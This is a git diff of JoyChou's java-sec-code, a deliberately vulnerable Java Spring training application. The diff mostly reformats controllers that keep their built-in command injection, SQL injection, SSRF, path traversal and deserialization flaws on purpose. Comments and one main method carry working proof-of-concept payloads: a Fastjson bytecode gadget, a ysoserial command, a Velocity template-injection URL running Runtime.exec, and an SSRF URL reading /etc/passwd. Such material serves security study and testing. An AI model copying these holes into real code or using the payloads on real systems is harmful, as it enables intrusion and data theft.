* http://localhost:8080/codeinject/host
- *
*/
@GetMapping("/codeinject/host")
public String codeInjectHost(HttpServletRequest request) throws IOException {
diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java
index e498dfc6..fc346ef6 100644
--- a/src/main/java/org/joychou/controller/Cookies.java
+++ b/src/main/java/org/joychou/controller/Cookies.java
@@ -5,8 +5,10 @@
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
+
import org.joychou.util.WebUtils;
import org.springframework.web.bind.annotation.RestController;
+
import static org.springframework.web.util.WebUtils.getCookie;
@RestController
@@ -43,7 +45,7 @@ public String vuln03(HttpServletRequest req) {
for (Cookie cookie : cookies) {
// key code. Equals can also be equalsIgnoreCase.
if (NICK.equals(cookie.getName())) {
- nick = cookie.getValue();
+ nick = cookie.getValue();
}
}
}
@@ -58,7 +60,7 @@ public String vuln04(HttpServletRequest req) {
if (cookies != null) {
for (Cookie cookie : cookies) {
if (cookie.getName().equalsIgnoreCase(NICK)) { // key code
- nick = cookie.getValue();
+ nick = cookie.getValue();
}
}
}
@@ -66,7 +68,6 @@ public String vuln04(HttpServletRequest req) {
}
-
@RequestMapping(value = "/vuln05")
public String vuln05(@CookieValue("nick") String nick) {
return "Cookie nick: " + nick;
diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java
index 109a4e18..a18e6280 100644
--- a/src/main/java/org/joychou/controller/Cors.java
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -11,7 +11,7 @@
import javax.servlet.http.HttpServletResponse;
/**
- * @author JoyChou (joychou@joychou.org) @2018.10.24
+ * @author JoyChou (joychou@joychou.org) @2018.10.24
* https://github.com/JoyChou93/java-sec-code/wiki/CORS
*/
@@ -106,7 +106,7 @@ public String seccode(HttpServletRequest request, HttpServletResponse response)
// 如果origin不为空并且origin不在白名单内,认定为不安全。
// 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。
- if ( origin != null && SecurityUtil.checkURL(origin) == null ) {
+ if (origin != null && SecurityUtil.checkURL(origin) == null) {
return "Origin is not safe.";
}
response.setHeader("Access-Control-Allow-Origin", origin);
diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java
index e3e0bca6..45662e9c 100644
--- a/src/main/java/org/joychou/controller/Deserialize.java
+++ b/src/main/java/org/joychou/controller/Deserialize.java
@@ -31,7 +31,7 @@ public class Deserialize {
/**
* java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
* Add the result to rememberMe cookie.
- *
+ *
* http://localhost:8080/deserialize/rememberMe/vuln
*/
@RequestMapping("/rememberMe/vuln")
@@ -40,7 +40,7 @@ public String rememberMeVul(HttpServletRequest request)
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
- if (null == cookie){
+ if (null == cookie) {
return "No rememberMe cookie. Right?";
}
@@ -57,7 +57,7 @@ public String rememberMeVul(HttpServletRequest request)
/**
* Check deserialize class using black list.
- *
+ *
* http://localhost:8080/deserialize/rememberMe/security
*/
@RequestMapping("/rememberMe/security")
@@ -66,7 +66,7 @@ public String rememberMeBlackClassCheck(HttpServletRequest request)
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
- if (null == cookie){
+ if (null == cookie) {
return "No rememberMe cookie. Right?";
}
String rememberMe = cookie.getValue();
@@ -74,7 +74,7 @@ public String rememberMeBlackClassCheck(HttpServletRequest request)
ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
- try{
+ try {
AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException
in.readObject();
in.close();
diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java
index 80d06fc9..6063b507 100644
--- a/src/main/java/org/joychou/controller/Fastjson.java
+++ b/src/main/java/org/joychou/controller/Fastjson.java
@@ -3,7 +3,6 @@
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
-import com.alibaba.fastjson.parser.ParserConfig;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
@@ -11,22 +10,19 @@
import org.springframework.web.bind.annotation.ResponseBody;
-
@Controller
@RequestMapping("/fastjson")
public class Fastjson {
- @RequestMapping(value = "/deserialize", method = {RequestMethod.POST })
+ @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
@ResponseBody
public static String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式,post数据会被url编码
- System.out.println(params);
try {
// 将post提交的string转换为json
JSONObject ob = JSON.parseObject(params);
return ob.get("name").toString();
- }catch (Exception e){
- e.printStackTrace();
+ } catch (Exception e) {
return e.toString();
}
}
@@ -34,6 +30,6 @@ public static String Deserialize(@RequestBody String params) {
public static void main(String[] args) {
// Open calc in mac
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
- JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
+ JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index d7297539..8b7c7373 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -22,19 +22,17 @@
/**
- * @author JoyChou (joychou@joychou.org)
- * @date 2018.08.15
- * @desc File upload
+ * File upload.
+ *
+ * @author JoyChou @ 2018-08-15
*/
-
@Controller
@RequestMapping("/file")
public class FileUpload {
// Save the uploaded file to this folder
private static String UPLOADED_FOLDER = "/tmp/";
- private final Logger logger= LoggerFactory.getLogger(this.getClass());
- private final String mimeChars = "/abcdefghijklmnopqrstuvwxyz-.0123456789";
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
@GetMapping("/")
public String index() {
@@ -77,7 +75,7 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file,
// only upload picture
@PostMapping("/upload/picture")
@ResponseBody
- public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception{
+ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
if (multifile.isEmpty()) {
return "Please select a file to upload";
}
@@ -115,7 +113,7 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw
};
for (String blackMimeType : mimeTypeBlackList) {
// 用contains是为了防止text/html;charset=UTF-8绕过
- if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType) ) {
+ if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
logger.error("[-] Mime type error: " + mimeType);
deleteFile(excelFile);
return "Upload failed. Illeagl picture.";
@@ -125,7 +123,7 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw
// 判断文件内容是否是图片 校验3
boolean isImageFlag = isImage(excelFile);
- if( !isImage(excelFile) ){
+ if (!isImageFlag) {
logger.error("[-] File is not Image");
deleteFile(excelFile);
return "Upload failed. Illeagl picture.";
@@ -152,7 +150,10 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw
private void deleteFile(File... files) {
for (File file : files) {
if (file.exists()) {
- file.delete();
+ boolean ret = file.delete();
+ if (ret) {
+ logger.debug("File delete successfully!");
+ }
}
}
}
@@ -160,9 +161,6 @@ private void deleteFile(File... files) {
/**
* 不建议使用transferTo,因为原始的MultipartFile会被覆盖
* https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file
- *
- * @param multiFile
- * @return
*/
private File convert(MultipartFile multiFile) throws Exception {
String fileName = multiFile.getOriginalFilename();
@@ -170,7 +168,10 @@ private File convert(MultipartFile multiFile) throws Exception {
UUID uuid = Generators.timeBasedGenerator().generate();
File convFile = new File(UPLOADED_FOLDER + uuid + suffix);
- convFile.createNewFile();
+ boolean ret = convFile.createNewFile();
+ if (!ret) {
+ return null;
+ }
FileOutputStream fos = new FileOutputStream(convFile);
fos.write(multiFile.getBytes());
fos.close();
@@ -179,15 +180,9 @@ private File convert(MultipartFile multiFile) throws Exception {
/**
* Check if the file is a picture.
- *
- * @param file
- * @return
*/
- public static boolean isImage(File file) throws IOException {
+ private static boolean isImage(File file) throws IOException {
BufferedImage bi = ImageIO.read(file);
- if (bi == null) {
- return false;
- }
- return true;
+ return bi == null;
}
}
diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java
index 512dc1ae..87405b62 100644
--- a/src/main/java/org/joychou/controller/GetRequestURI.java
+++ b/src/main/java/org/joychou/controller/GetRequestURI.java
@@ -13,13 +13,13 @@
/**
* The difference between getRequestURI and getServletPath.
* 由于Spring Security的antMatchers("/css/**", "/js/**")未使用getRequestURI,所以登录不会被绕过。
- *
+ *
* Details: https://joychou.org/web/security-of-getRequestURI.html
- *
+ *
* Poc:
- * http://localhost:8080/css/%2e%2e/exclued/vuln
- * http://localhost:8080/css/..;/exclued/vuln
- * http://localhost:8080/css/..;bypasswaf/exclued/vuln
+ * http://localhost:8080/css/%2e%2e/exclued/vuln
+ * http://localhost:8080/css/..;/exclued/vuln
+ * http://localhost:8080/css/..;bypasswaf/exclued/vuln
*
* @author JoyChou @2020-03-28
*/
@@ -28,7 +28,7 @@
@RequestMapping("uri")
public class GetRequestURI {
- private final Logger logger= LoggerFactory.getLogger(this.getClass());
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
@RequestMapping(value = "/exclued/vuln")
public String exclued(HttpServletRequest request) {
@@ -40,9 +40,9 @@ public String exclued(HttpServletRequest request) {
logger.info("getRequestURI: " + uri);
logger.info("getServletPath: " + request.getServletPath());
- for (String path: excluedPath) {
- if ( matcher.match (path, uri) ) {
- return "You have bypassed the login page.";
+ for (String path : excluedPath) {
+ if (matcher.match(path, uri)) {
+ return "You have bypassed the login page.";
}
}
return "This is a login page >..<";
diff --git a/src/main/java/org/joychou/controller/IPForge.java b/src/main/java/org/joychou/controller/IPForge.java
index d3550e4f..9950e766 100644
--- a/src/main/java/org/joychou/controller/IPForge.java
+++ b/src/main/java/org/joychou/controller/IPForge.java
@@ -1,25 +1,23 @@
package org.joychou.controller;
import org.apache.commons.lang.StringUtils;
-import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
/**
- * @author JoyChou (joychou@joychou.org)
- * @date 2017.12.29
- * @desc Java获取IP安全代码
- * @detail 关于获取IP不安全代码,详情可查看https://joychou.org/web/how-to-get-real-ip.html
+ * Java get real ip. More details: https://joychou.org/web/how-to-get-real-ip.html
+ *
+ * @author JoyChou @ 2017-12-29
*/
-
-@Controller
+@RestController
@RequestMapping("/ip")
public class IPForge {
+
// no any proxy
@RequestMapping("/noproxy")
- @ResponseBody
public static String noProxy(HttpServletRequest request) {
return request.getRemoteAddr();
}
@@ -36,7 +34,7 @@ public static String proxy(HttpServletRequest request) {
String ip = request.getHeader("X-Real-IP");
if (StringUtils.isNotBlank(ip)) {
return ip;
- }else {
+ } else {
String remoteAddr = request.getRemoteAddr();
if (StringUtils.isNotBlank(remoteAddr)) {
return remoteAddr;
diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java
index 44394097..96061579 100644
--- a/src/main/java/org/joychou/controller/Jsonp.java
+++ b/src/main/java/org/joychou/controller/Jsonp.java
@@ -17,9 +17,8 @@
import java.security.Principal;
-
/**
- * @author JoyChou (joychou@joychou.org) @ 2018.10.24
+ * @author JoyChou (joychou@joychou.org) @ 2018.10.24
* https://github.com/JoyChou93/java-sec-code/wiki/JSONP
*/
@@ -75,14 +74,14 @@ public JSONObject advice(HttpServletRequest request) {
* http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test
* Reference: https://p0sec.net/index.php/archives/122/ from p0
* Affected version: java-sec-code test case version: 4.3.6
- * - Spring Framework 5.0 to 5.0.6
- * - Spring Framework 4.1 to 4.3.17
+ * - Spring Framework 5.0 to 5.0.6
+ * - Spring Framework 4.1 to 4.3.17
*/
@RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE)
public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
ModelAndView view = new ModelAndView(new MappingJackson2JsonView());
Principal principal = req.getUserPrincipal();
- view.addObject("username", principal.getName() );
+ view.addObject("username", principal.getName());
return view;
}
@@ -109,5 +108,4 @@ public CsrfToken getCsrfToken(CsrfToken token) {
}
-
}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Login.java b/src/main/java/org/joychou/controller/Login.java
index 542f94e5..16769e4a 100644
--- a/src/main/java/org/joychou/controller/Login.java
+++ b/src/main/java/org/joychou/controller/Login.java
@@ -25,7 +25,7 @@ public String login() {
}
@GetMapping("/logout")
- public String logoutPage (HttpServletRequest request, HttpServletResponse response) {
+ public String logoutPage(HttpServletRequest request, HttpServletResponse response) {
String username = request.getUserPrincipal().getName();
diff --git a/src/main/java/org/joychou/controller/PathTraversal.java b/src/main/java/org/joychou/controller/PathTraversal.java
index 76f9a2ce..1976b01b 100644
--- a/src/main/java/org/joychou/controller/PathTraversal.java
+++ b/src/main/java/org/joychou/controller/PathTraversal.java
@@ -41,9 +41,9 @@ private String getImgBase64(String imgFile) throws IOException {
logger.info("File path: " + imgFile);
File f = new File(imgFile);
- if(f.exists() && !f.isDirectory()) {
- byte[] data = Files.readAllBytes( Paths.get(imgFile) );
- return new String( Base64.encodeBase64(data) );
+ if (f.exists() && !f.isDirectory()) {
+ byte[] data = Files.readAllBytes(Paths.get(imgFile));
+ return new String(Base64.encodeBase64(data));
} else {
return "File doesn't exist or is not a file.";
}
diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java
index 983e3164..1bb1face 100644
--- a/src/main/java/org/joychou/controller/Rce.java
+++ b/src/main/java/org/joychou/controller/Rce.java
@@ -1,31 +1,27 @@
package org.joychou.controller;
-import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
-import javax.servlet.http.HttpServletRequest;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
/**
- * @author JoyChou (joychou@joychou.org)
- * @date 2018.05.24
- * @desc Java code execute
- * @fix 过滤造成命令执行的参数
+ * Java code execute
+ *
+ * @author JoyChou @ 2018-05-24
*/
-
-@Controller
+@RestController
@RequestMapping("/rce")
public class Rce {
@RequestMapping("/exec")
@ResponseBody
- public String CommandExec(HttpServletRequest request) {
- String cmd = request.getParameter("cmd").toString();
+ public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
- String lineStr = "";
+ StringBuilder sb = new StringBuilder();
try {
Process p = run.exec(cmd);
@@ -34,22 +30,20 @@ public String CommandExec(HttpServletRequest request) {
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
- lineStr += tmpStr + "\n";
- System.out.println(tmpStr);
+ sb.append(tmpStr);
}
if (p.waitFor() != 0) {
if (p.exitValue() == 1)
- return "command exec failed";
+ return "Command exec failed!!";
}
inBr.close();
in.close();
} catch (Exception e) {
- e.printStackTrace();
return "Except";
}
- return lineStr;
+ return sb.toString();
}
}
diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java
index cf49a335..7ea518a5 100644
--- a/src/main/java/org/joychou/controller/SQLI.java
+++ b/src/main/java/org/joychou/controller/SQLI.java
@@ -16,7 +16,8 @@
/**
* SQL Injection
- * @author JoyChou @2018.08.22
+ *
+ * @author JoyChou @2018.08.22
*/
@SuppressWarnings("Duplicates")
@@ -47,39 +48,40 @@ public class SQLI {
* @param username username
*/
@RequestMapping("/jdbc/vuln")
- public String jdbc_sqli_vul(@RequestParam("username") String username){
- String result = "";
+ public String jdbc_sqli_vul(@RequestParam("username") String username) {
+
+ StringBuilder result = new StringBuilder();
+
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);
- if(!con.isClosed())
- System.out.println("Connecting to Database successfully.");
+ if (!con.isClosed())
+ System.out.println("Connect to database successfully.");
// sqli vuln code
- Statement statement = con.createStatement();
- String sql = "select * from users where username = '" + username + "'";
- logger.info(sql);
- ResultSet rs = statement.executeQuery(sql);
+ Statement statement = con.createStatement();
+ String sql = "select * from users where username = '" + username + "'";
+ logger.info(sql);
+ ResultSet rs = statement.executeQuery(sql);
- while(rs.next()){
+ while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
- result += res_name + ": " + res_pwd + "\n";
- logger.info(res_name + ": " + res_pwd);
+ String info = String.format("%s: %s\n", res_name, res_pwd);
+ result.append(info);
+ logger.info(info);
}
rs.close();
con.close();
- }catch (ClassNotFoundException e) {
+ } catch (ClassNotFoundException e) {
logger.error("Sorry,can`t find the Driver!");
- }catch (SQLException e) {
- logger.error(e.toString());
- }catch (Exception e) {
+ } catch (SQLException e) {
logger.error(e.toString());
}
- return result;
+ return result.toString();
}
@@ -90,42 +92,42 @@ public String jdbc_sqli_vul(@RequestParam("username") String username){
* @param username username
*/
@RequestMapping("/jdbc/sec")
- public String jdbc_sqli_sec(@RequestParam("username") String username){
+ public String jdbc_sqli_sec(@RequestParam("username") String username) {
- String result = "";
+ StringBuilder result = new StringBuilder();
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);
- if(!con.isClosed())
+ if (!con.isClosed())
System.out.println("Connecting to Database successfully.");
// fix code
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
st.setString(1, username);
+
logger.info(st.toString()); // sql after prepare statement
ResultSet rs = st.executeQuery();
- while(rs.next()){
+ while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
- result += res_name + ": " + res_pwd + "\n";
- logger.info(res_name + ": " + res_pwd);
+ String info = String.format("%s: %s\n", res_name, res_pwd);
+ result.append(info);
+ logger.info(info);
}
rs.close();
con.close();
- }catch (ClassNotFoundException e) {
- logger.error("Sorry,can`t find the Driver!");
+ } catch (ClassNotFoundException e) {
+ logger.error("Sorry, can`t find the Driver!");
e.printStackTrace();
- }catch (SQLException e) {
- logger.error(e.toString());
- }catch (Exception e) {
+ } catch (SQLException e) {
logger.error(e.toString());
}
- return result;
+ return result.toString();
}
/**
@@ -169,7 +171,6 @@ public User mybatisSec01(@RequestParam("username") String username) {
}
/**
- * security code
* http://localhost:8080/sqli/mybatis/sec02?id=1
*
* @param id id
@@ -181,9 +182,8 @@ public User mybatisSec02(@RequestParam("id") Integer id) {
/**
- * security code
* http://localhost:8080/sqli/mybatis/sec03
- **/
+ */
@GetMapping("/mybatis/sec03")
public User mybatisSec03() {
return userMapper.OrderByUsername();
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index 5b74049e..e9c30d0e 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -1,6 +1,5 @@
package org.joychou.controller;
-import com.google.common.io.Files;
import com.squareup.okhttp.OkHttpClient;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.methods.GetMethod;
@@ -12,6 +11,7 @@
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.joychou.security.SecurityUtil;
+import org.joychou.util.WebUtils;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.slf4j.Logger;
@@ -41,8 +41,7 @@ public class SSRF {
private static Logger logger = LoggerFactory.getLogger(SSRF.class);
@RequestMapping("/urlConnection")
- public static String ssrf_URLConnection(@RequestParam String url)
- {
+ public static String ssrf_URLConnection(@RequestParam String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
@@ -55,7 +54,7 @@ public static String ssrf_URLConnection(@RequestParam String url)
}
in.close();
return html.toString();
- }catch(Exception e) {
+ } catch (Exception e) {
logger.error(e.toString());
return "fail";
}
@@ -64,12 +63,11 @@ public static String ssrf_URLConnection(@RequestParam String url)
@RequestMapping("/HttpURLConnection")
@ResponseBody
- public static String ssrf_httpURLConnection(@RequestParam String url)
- {
+ public static String ssrf_httpURLConnection(@RequestParam String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
- HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
+ HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
String inputLine;
StringBuilder html = new StringBuilder();
@@ -79,7 +77,7 @@ public static String ssrf_httpURLConnection(@RequestParam String url)
}
in.close();
return html.toString();
- }catch(Exception e) {
+ } catch (Exception e) {
logger.error(e.toString());
return "fail";
}
@@ -88,11 +86,10 @@ public static String ssrf_httpURLConnection(@RequestParam String url)
@RequestMapping("/Request")
@ResponseBody
- public static String ssrf_Request(@RequestParam String url)
- {
+ public static String ssrf_Request(@RequestParam String url) {
try {
return Request.Get(url).execute().returnContent().toString();
- }catch(Exception e) {
+ } catch (Exception e) {
logger.error(e.toString());
return "fail";
}
@@ -102,18 +99,18 @@ public static String ssrf_Request(@RequestParam String url)
/**
* Download the url file.
* http://localhost:8080/ssrf/openStream?url=file:///etc/passwd
- *
+ *
* new URL(String url).openConnection()
* new URL(String url).openStream()
* new URL(String url).getContent()
*/
@RequestMapping("/openStream")
@ResponseBody
- public static void ssrf_openStream (@RequestParam String url, HttpServletResponse response) throws IOException {
+ public static void ssrf_openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
InputStream inputStream = null;
OutputStream outputStream = null;
try {
- String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." + Files.getFileExtension(url);
+ String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url);
// download
response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);
@@ -126,16 +123,15 @@ public static void ssrf_openStream (@RequestParam String url, HttpServletRespons
outputStream.write(bytes, 0, length);
}
- }catch (Exception e) {
+ } catch (Exception e) {
logger.error(e.toString());
- }finally {
+ } finally {
if (inputStream != null) {
inputStream.close();
}
if (outputStream != null) {
outputStream.close();
}
-
}
}
@@ -162,36 +158,41 @@ public static void ssrf_okhttp(@RequestParam String url) throws IOException {
/**
- * http://localhost:8080/ssrf/HttpClient?url=http://www.baidu.com
+ * http://localhost:8080/ssrf/HttpClient/sec?url=http://www.baidu.com
*
* @return The response of url param.
*/
- @RequestMapping("/HttpClient")
+ @RequestMapping("/HttpClient/sec")
@ResponseBody
public static String ssrf_HttpClient(@RequestParam String url) {
- CloseableHttpClient client = HttpClients.createDefault();
- HttpGet httpGet = new HttpGet(url);
+ StringBuilder result = new StringBuilder();
try {
+ SecurityUtil.startSSRFHook();
+ CloseableHttpClient client = HttpClients.createDefault();
+ HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse = client.execute(httpGet); // send request
BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
- StringBuilder result = new StringBuilder();
- String line = null;
+
+ String line;
while ((line = rd.readLine()) != null) {
result.append(line);
}
+
+ // SecurityUtil.stopSSRFHook();
return result.toString();
- }catch (Exception e) {
- e.printStackTrace();
- return "fail";
- }
+ } catch (Exception e) {
+ return e.toString();
+ } finally {
+ SecurityUtil.stopSSRFHook();
+ }
}
/**
* https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient
* UserAgent: Jakarta Commons-HttpClient/3.1 (2007.08 publish)
- *
+ *
* http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
*/
@RequestMapping("/commonsHttpClient/sec")
@@ -230,7 +231,7 @@ public static String commonsHttpClient(@RequestParam String url) {
/**
* jsoup是一款Java的HTML解析器,可直接解析某个URL地址、HTML文本内容。
- *
+ *
* http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
*/
@RequestMapping("/Jsoup")
@@ -279,14 +280,13 @@ public static String IOUtils(@RequestParam String url) {
/**
* Safe code.
* http://localhost:8080/ssrf/ImageIO/sec?url=http://www.baidu.com
- *
*/
@RequestMapping("/ImageIO/sec")
public static String ImageIOSec(@RequestParam String url) {
try {
URL u = new URL(url);
if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
- logger.error("[-] SSRF check failed. Original Url: "+ url);
+ logger.error("[-] SSRF check failed. Original Url: " + url);
return "SSRF check failed.";
}
ImageIO.read(u); // send request
diff --git a/src/main/java/org/joychou/controller/SSTI.java b/src/main/java/org/joychou/controller/SSTI.java
index 70e7c7a6..0c44eb93 100644
--- a/src/main/java/org/joychou/controller/SSTI.java
+++ b/src/main/java/org/joychou/controller/SSTI.java
@@ -17,14 +17,14 @@ public class SSTI {
/**
* SSTI of Java velocity. The latest Velocity version still has this problem.
* Fix method: Avoid to use Velocity.evaluate method.
- *
+ *
* http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
* Open a calculator in MacOS.
*
* @param template exp
*/
@GetMapping("/velocity")
- private static void velocity(String template){
+ public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
